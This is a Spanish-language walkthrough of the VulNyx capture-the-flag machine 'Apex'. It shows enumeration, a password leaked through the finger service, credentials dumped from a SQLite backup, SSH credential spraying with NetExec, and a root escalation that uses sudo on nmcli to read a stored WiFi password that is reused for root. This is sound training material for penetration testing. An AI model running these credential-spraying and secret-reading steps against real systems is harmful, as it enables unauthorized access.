🟢 NYX - APex
#vulnyx
#nyx
#linux
#osint
#finger
#sqlite
#sqlite3
#ssh (bruteforce)
#nmcli (sudo)
Enero 23, 2025 by Miguel R. (d4t4s3c)
Information
Apex es una máquina Linux de la plataforma VulNyx, tiene un nivel de dificultad fácil y fue creada por el usuario d4t4s3c.
- Acceso inicial: Mediante técnicas de OSINT se identifica un nombre de usuario, con el usuario obtenido me conecto al servicio Finger y obtengo unas credenciales que me permitirán descargar un backup de una base de datos SQLite, después realizo fuerza bruta al servicio SSH con las credenciales obtenidas en la base de datos.
- Escalada de privilegios: El usuario dispone de permisos sudo sobre un binario, esto permitirá obtener el SSID de una red inalámbrica y su password que se reutilizarán para el usuario root.
Enumeration
Nmap
TCP
❯ nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.43
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-21 11:22 CET
Nmap scan report for 192.168.1.43
Host is up (0.0012s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
79/tcp open finger
80/tcp open http
❯ nmap -sVC -p22,79,80 192.168.1.43
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-21 11:25 CET
Nmap scan report for 192.168.1.43
Host is up (0.00044s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
79/tcp open finger Linux fingerd
|_finger: No one logged on.\x0D
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: The all seeing eye...
|_http-server-header: Apache/2.4.62 (Debian)
Shell (seth)
80/TCP (HTTP)
Directory Brute Force
❯ gobuster dir -w /opt/directory-list-2.3-medium.txt -u http://192.168.1.43/
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.43/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/backup (Status: 401) [Size: 459]
/server-status (Status: 403) [Size: 277]
Progress: 220546 / 220547 (100.00%)
===============================================================
Finished
===============================================================
La ruta /backup
se encuentra protegida por un auth_basic
, al no disponer de credenciales realizo password guessing sin éxito
OSINT
Enumero a horus
como posible nombre de usuario en base a la búsqueda inversa sobre la imagen en Yandex
79/TCP (FINGER)
Me conecto al servicio Finger con el usuario horus
y obtengo un password
❯ finger horus@192.168.1.43
Login: horus Name:
Directory: /home/horus Shell: /bin/bash
Never logged in.
Mail forwarded to horus@point.nyx
No mail.
PGP key:
personal notes: H0Ru$$3rv3
No Plan.
80/TCP (HTTP)
Vuelvo al sitio web a la ruta /backup
y accedo con las credenciales obtenidas horus:H0Ru$$3rv3
Encuentro y descargo el archivo database.db
, parece una exportación de una base de datos de tipo sqlite3
❯ file database.db
database.db: SQLite 3.x database, last written using SQLite version 3046001, file counter 5, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 5
Obtengo credenciales de varios usuarios en la tabla users
❯ sqlite3 database.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
users
sqlite> select * from users;
1|anubis|L44NxKRnP7wxrBsxibpDORySkbEHRO
2|amon|xqRu08ZA3BihR4lKdJVYcP1x6HjZUf
3|seth|Hm7iYkj2jXDxPUwoW2COs42YjPaC4P
4|osiris|ITA96l3isg4uV2Sm8eYn41XVfxprFy
22/TCP (SSH)
Brute Force
Creo una wordlist con los usuarios y otra con los passwords
❯ cat dump ; echo
1|anubis|L44NxKRnP7wxrBsxibpDORySkbEHRO
2|amon|xqRu08ZA3BihR4lKdJVYcP1x6HjZUf
3|seth|Hm7iYkj2jXDxPUwoW2COs42YjPaC4P
4|osiris|ITA96l3isg4uV2Sm8eYn41XVfxprFy
❯ cut -d '|' -f 2 dump |tee users.dic
anubis
amon
seth
osiris
❯ cut -d '|' -f 3 dump |tee pass.dic
L44NxKRnP7wxrBsxibpDORySkbEHRO
xqRu08ZA3BihR4lKdJVYcP1x6HjZUf
Hm7iYkj2jXDxPUwoW2COs42YjPaC4P
ITA96l3isg4uV2Sm8eYn41XVfxprFy
Obtengo éxito con las credenciales del usuario seth
con NetExec
❯ netexec ssh 192.168.1.43 -u users.dic -p pass.dic --continue-on-success
SSH 192.168.1.43 22 192.168.1.43 [*] SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3
SSH 192.168.1.43 22 192.168.1.43 [-] anubis:L44NxKRnP7wxrBsxibpDORySkbEHRO
SSH 192.168.1.43 22 192.168.1.43 [-] amon:L44NxKRnP7wxrBsxibpDORySkbEHRO
SSH 192.168.1.43 22 192.168.1.43 [-] seth:L44NxKRnP7wxrBsxibpDORySkbEHRO
SSH 192.168.1.43 22 192.168.1.43 [-] osiris:L44NxKRnP7wxrBsxibpDORySkbEHRO
SSH 192.168.1.43 22 192.168.1.43 [-] anubis:xqRu08ZA3BihR4lKdJVYcP1x6HjZUf
SSH 192.168.1.43 22 192.168.1.43 [-] amon:xqRu08ZA3BihR4lKdJVYcP1x6HjZUf
SSH 192.168.1.43 22 192.168.1.43 [+] seth:xqRu08ZA3BihR4lKdJVYcP1x6HjZUf Linux - Shell access!
Accedo al sistema como usuario seth
con las credenciales obtenidas
❯ ssh seth@192.168.1.43
seth@192.168.1.43's password:
seth@apex:~$ id ; hostname
uid=1001(seth) gid=1001(seth) grupos=1001(seth)
apex
Privilege Escalation
Al hacer sudo -l
da la sensación que sudo no se encuentra instalado
seth@apex:~$ sudo -l
-bash: sudo: orden no encontrada
Puede que sudo se encuentre fuera del PATH
y al llamarlo de forma relativa en lugar de absoluta no lo encuentre, al hacer una busqueda con find encontre sudo en la ruta /usr/sbin
que se encuentra fuera del PATH
seth@apex:~$ find / -name sudo -type f -exec ls -ld {} \; 2>/dev/null
-rwsr-xr-x 1 root root 182600 ene 21 10:49 /usr/sbin/sudo
seth@apex:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
Ahora si puedo hacer uso de sudo
seth@apex:~$ /usr/sbin/sudo -l
Matching Defaults entries for seth on apex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User seth may run the following commands on apex:
(root) NOPASSWD: /usr/bin/nmcli
El usuario seth
puede ejecutar como root
el binario nmcli con sudo
(En el man de nmcli, se puede observar que permite una multitud de funciones relacionadas con redes de todo tipo)
Listo todas las redes inalámbricas almacenadas en el sistema y encuentro una red WIFI llamada MikroTik_AP
seth@apex:~$ /usr/sbin/sudo -u root nmcli connection show
NAME UUID TYPE DEVICE
MikroTik_AP e25d230b-bb26-4488-b2e0-1b94dac2b9cd wifi --
La red MikroTik_AP
fue creada por el usuario root
y otros usuarios no disponen de ningún permiso
seth@apex:~$ find / -name MikroTik_AP 2>/dev/null
/etc/NetworkManager/system-connections/MikroTik_AP
seth@apex:~$ ls -l /etc/NetworkManager/system-connections/MikroTik_AP
-rw------- 1 root root 227 ene 21 18:39 /etc/NetworkManager/system-connections/MikroTik_AP
Como puedo ejecutar nmcli en el contexto de root
con sudo, consigo leer el password de la red MikroTik_AP
seth@apex:~$ /usr/sbin/sudo -u root nmcli -s -g 802-11-wireless-security.psk connection show "MikroTik_AP"
WIFI_p@$$w0rd_is_$up3r_$3cur3
Me convierto en usuario root
mediante una reutilización de credenciales
seth@apex:~$ su - root
Contraseña:
root@apex:~# id ; hostname
uid=0(root) gid=0(root) grupos=0(root)
apex
Flags
Ya como usuario root
puedo leer las flags user.txt
y root.txt
root@apex:~# find / -name user.txt -o -name root.txt 2>/dev/null |xargs cat
c03c45**************************
cb991c**************************
Hasta aquí la resolución de la máquina APex.
Happy Hacking!
